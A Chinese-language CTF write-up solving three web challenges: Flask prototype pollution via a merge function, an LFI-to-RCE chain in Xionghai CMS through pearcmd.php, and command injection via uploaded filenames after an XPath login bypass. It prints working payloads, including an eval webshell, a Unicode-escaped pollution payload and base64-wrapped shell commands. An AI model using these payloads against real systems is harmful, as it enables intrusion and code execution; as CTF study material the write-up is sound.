WEB

EzFlask

  1. 源码


    import uuid

    from flask import Flask, request, session
    from secret import black_list
    import json

    app = Flask(__name__)
    app.secret_key = str(uuid.uuid4())

    def check(data):
    for i in black_list:
    if i in data:
    return False
    return True

    def merge(src, dst):
    for k, v in src.items():
    if hasattr(dst, '__getitem__'):
    if dst.get(k) and type(v) == dict:
    merge(v, dst.get(k))
    else:
    dst[k] = v
    elif hasattr(dst, k) and type(v) == dict:
    merge(v, getattr(dst, k))
    else:
    setattr(dst, k, v)

    class user():
    def __init__(self):
    self.username = ""
    self.password = ""
    pass
    def check(self, data):
    if self.username == data['username'] and self.password == data['password']:
    return True
    return False

    Users = []

    @app.route('/register',methods=['POST'])
    def register():
    if request.data:
    try:
    if not check(request.data):
    return "Register Failed"
    data = json.loads(request.data)
    if "username" not in data or "password" not in data:
    return "Register Failed"
    User = user()
    merge(data, User)
    Users.append(User)
    except Exception:
    return "Register Failed"
    return "Register Success"
    else:
    return "Register Failed"

    @app.route('/login',methods=['POST'])
    def login():
    if request.data:
    try:
    data = json.loads(request.data)
    if "username" not in data or "password" not in data:
    return "Login Failed"
    for user in Users:
    if user.check(data):
    session["username"] = data["username"]
    return "Login Success"
    except Exception:
    return "Login Failed"
    return "Login Failed"

    @app.route('/',methods=['GET'])
    def index():
    return open(__file__, "r").read()

    if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

  2. 审计发现有这个函数

    def merge(src, dst):
    for k, v in src.items():
    if hasattr(dst, '__getitem__'):
    if dst.get(k) and type(v) == dict:
    merge(v, dst.get(k))
    else:
    dst[k] = v
    elif hasattr(dst, k) and type(v) == dict:
    merge(v, getattr(dst, k))
    else:
    setattr(dst, k, v)

    百度后得知这是python的原型链污染。

  3. 通过分析,我们的目的是通过/register路由污染__file__变量,从而实现在/路由下的文件任意读取。

  4. 参考链接:https://www.cnblogs.com/Article-kelp/p/17068716.html

  5. 学习过程中发现,需要__init__来实现全局变量的污染,但测试发现__init__被过滤了。

  6. 通过Unicode编码__init__,实现了__file__的污染。

    payload:

    {"username":"123","password":"123","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"__globals__":{"__file__":"/proc/1/environ"}}}

ez_cms

  1. 打开环境,信息收集得到这个cms是熊海cms V1.0

  2. 百度这个cms的漏洞,得到几个漏洞,分别是sql注入,文件包含,文件上传,文件任意下载,后台认证绕过。

  3. 尝试sql注入,用sqlmap一把梭,没找到flag,尝试日志写马,发现不行。

  4. 尝试文件上传,发现不能上传任何文件。

  5. 尝试文件任意下载,访问/admin,用admin:123456登录进后台,选择内容管理--下载列表,点那个🖊的图标,进入修改页面。

  6. 在修改页面的文件位置填上文件的路径,然后点击保存。

  7. 返回一开始的页面,点🖊旁边的 √ 进入下载页面,然后点击联通下载,即可任意下载文件。

  8. 发现这里只能下载文件,但不知道flag在哪个文件,只能放弃。

  9. 文件包含功能,用上面的文件任意下载index.php的源码。

    <?php
    //单一入口模式
    error_reporting(0); //关闭错误显示
    $file=addslashes($_GET['r']); //接收文件名
    $action=$file==''?'index':$file; //判断为空或者等于index
    include('files/'.$action.'.php'); //载入相应文件
    ?>
  10. 分析得知,使用了addslashes做了过滤,因此无法使用伪协议,而且包含的时候拼接了.php,也没办法绕过。

  11. 使用pearcmd.php进行文件包含。(参考链接:https://blog.csdn.net/JCPS_Y/article/details/127541665)

  12. payload:

    ?+config-create+/&r=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?>+/tmp/hello.php
  13. 尝试过程中发现一直没有成功,猜测php的路径不对。

  14. 想到题目环境是用doctor搭的,是不是它们的php路径不一样呢?于是去打开个doctor去尝试一下,发现果然不一样。

  15. 于是修改路径为/usr/share/php/pearcmd,再次尝试,发现成功了。

    payload:

    ?+config-create+/&r=../../../../../../../../../../../usr/share/php/pearcmd&/<?=@eval($_POST[1])?>+/tmp/hello.php

  16. 最后用r包含/tmp/hello,php,即可实现rce。

  17. 最后cat /flag_you_find_ya,即可得到flag。

MyPicDisk

  1. 万能密码登录,发现登录成功,再次登录一次,可以在源码中看到提示。(payload:username=admin'or 1=1 #)

  2. 下载得到index.php的源码。

    <?php
    session_start();
    error_reporting(0);
    class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
    if (preg_match("/\//i", $filename)){
    throw new Error("hacker!");
    }
    $num = substr_count($filename, ".");
    if ($num != 1){
    throw new Error("hacker!");
    }
    if (!is_file($filename)){
    throw new Error("???");
    }
    $this->filename = $filename;
    $this->size = filesize($filename);
    $this->lasttime = filemtime($filename);
    }
    public function remove(){
    unlink($this->filename);
    }
    public function show()
    {
    echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
    system("ls -all ".$this->filename);
    }
    }
    ?>
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="UTF-8">
    <title>MyPicDisk</title>
    </head>
    <body>
    <?php
    if (!isset($_SESSION['user'])){
    echo '
    <form method="POST">
    username:<input type="text" name="username"></p>
    password:<input type="password" name="password"></p>
    <input type="submit" value="登录" name="submit"></p>
    </form>
    ';
    $xml = simplexml_load_file('/tmp/secret.xml');
    if($_POST['submit']){
    $username=$_POST['username'];
    $password=md5($_POST['password']);
    $x_query="/accounts/user[username='{$username}' and password='{$password}']";
    $result = $xml->xpath($x_query);
    if(count($result)==0){
    echo '登录失败';
    }else{
    $_SESSION['user'] = $username;
    echo "<script>alert('登录成功!');location.href='/index.php';</script>";
    }
    }
    }
    else{
    if ($_SESSION['user'] !== 'admin') {
    echo "<script>alert('you are not admin!!!!!');</script>";
    unset($_SESSION['user']);
    echo "<script>location.href='/index.php';</script>";
    }
    echo "<!-- /y0u_cant_find_1t.zip -->";
    if (!$_GET['file']) {
    foreach (scandir(".") as $filename) {
    if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
    echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
    }
    }
    echo '
    <form action="index.php" method="post" enctype="multipart/form-data">
    选择图片:<input type="file" name="file" id="">
    <input type="submit" value="上传"></form>
    ';
    if ($_FILES['file']) {
    $filename = $_FILES['file']['name'];
    if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
    die("hacker!");
    }
    if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
    echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
    } else {
    die('failed');
    }
    }
    }
    else{
    $filename = $_GET['file'];
    if ($_GET['todo'] === "md5"){
    echo md5_file($filename);
    }
    else {
    $file = new FILE($filename);
    if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
    echo "<img src='../" . $filename . "'><br>";
    echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
    echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
    } else if ($_GET['todo'] === "remove") {
    $file->remove();
    echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
    } else if ($_GET['todo'] === "show") {
    $file->show();
    }
    }
    }
    }
    ?>
    </body>
    </html>
  3. 审计代码,发现能够上传文件。当$_SESSION['user']不为空且file不存在时,可以上传文件,而登录成功后,$_SESSION['user']就不为空了。

  4. 进一步发现,当file变量存在时,new了一个FILE($filename);

  5. 查看这个类,发现这个类在__destruct时会将文件名当成命令来执行,而且在__construct时,会判断文件名是否只有一个.且没有/,同时还会判断文件是否存在。

    class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
    if (preg_match("/\//i", $filename)){
    throw new Error("hacker!");
    }
    $num = substr_count($filename, ".");
    if ($num != 1){
    throw new Error("hacker!");
    }
    if (!is_file($filename)){
    throw new Error("???");
    }
    $this->filename = $filename;
    $this->size = filesize($filename);
    $this->lasttime = filemtime($filename);
    }
    public function remove(){
    unlink($this->filename);
    }
    public function show()
    {
    echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
    }
    public function __destruct(){
    system("ls -all ".$this->filename);
    }
    }
  6. 于是编写一个文件上传的页面,抓包,并将包修改一下。


    <!DOCTYPE html>
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
    <title>文件上传</title>
    <style>
    body {
    font-family: Arial, sans-serif;
    background-color: #f2f2f2;
    }

    .container {
    max-width: 400px;
    margin: 0 auto;
    padding: 20px;
    background-color: #fff;
    border-radius: 5px;
    box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
    }

    .form-group {
    margin-bottom: 20px;
    }

    .form-group label {
    display: block;
    font-weight: bold;
    margin-bottom: 5px;
    }

    .form-group input[type="file"] {
    padding: 10px;
    border: 1px solid #ccc;
    border-radius: 5px;
    background-color: #fff;
    }

    .form-group input[type="submit"] {
    padding: 10px 20px;
    background-color: #4CAF50;
    color: #fff;
    border: none;
    border-radius: 5px;
    cursor: pointer;
    }

    .form-group input[type="submit"]:hover {
    background-color: #45a049;
    }
    </style>
    </head>
    <body>
    <div class="container">
    <h2>文件上传</h2>

    <form action="http://d4cdc047-fde9-4f75-99ce-4f8b8d0cb06c.node4.buuoj.cn:81/" method="POST" enctype="multipart/form-data">
    <div class="form-group">
    <label for="file">选择文件</label>
    <input type="file" name="file" id="file" />
    </div>
    <div class="form-group">
    <input type="submit" value="上传" />
    </div>
    </form>
    </div>
    </body>
    </html>

  7. 接着发包两次,出现文件上传成功,接着修改文件名为;ls;.jpg,上传成功后,访问?file=;ls;.jpg,发现可以rce了。

  8. 因为./用不了,所以我们使用echo命令+反斜杠的方法来rce。

    比如 `echo 需要执行命令的base64编码 | base64 -d`
    传入文件名 ;`echo bHMgLw== | base64 -d`;.jpg ,即可成功查看根目录。

  9. 最后上传文件名为

    ;`echo Y2F0IC9hZGoq | base64 -d`;.jpg

    即可得到flag。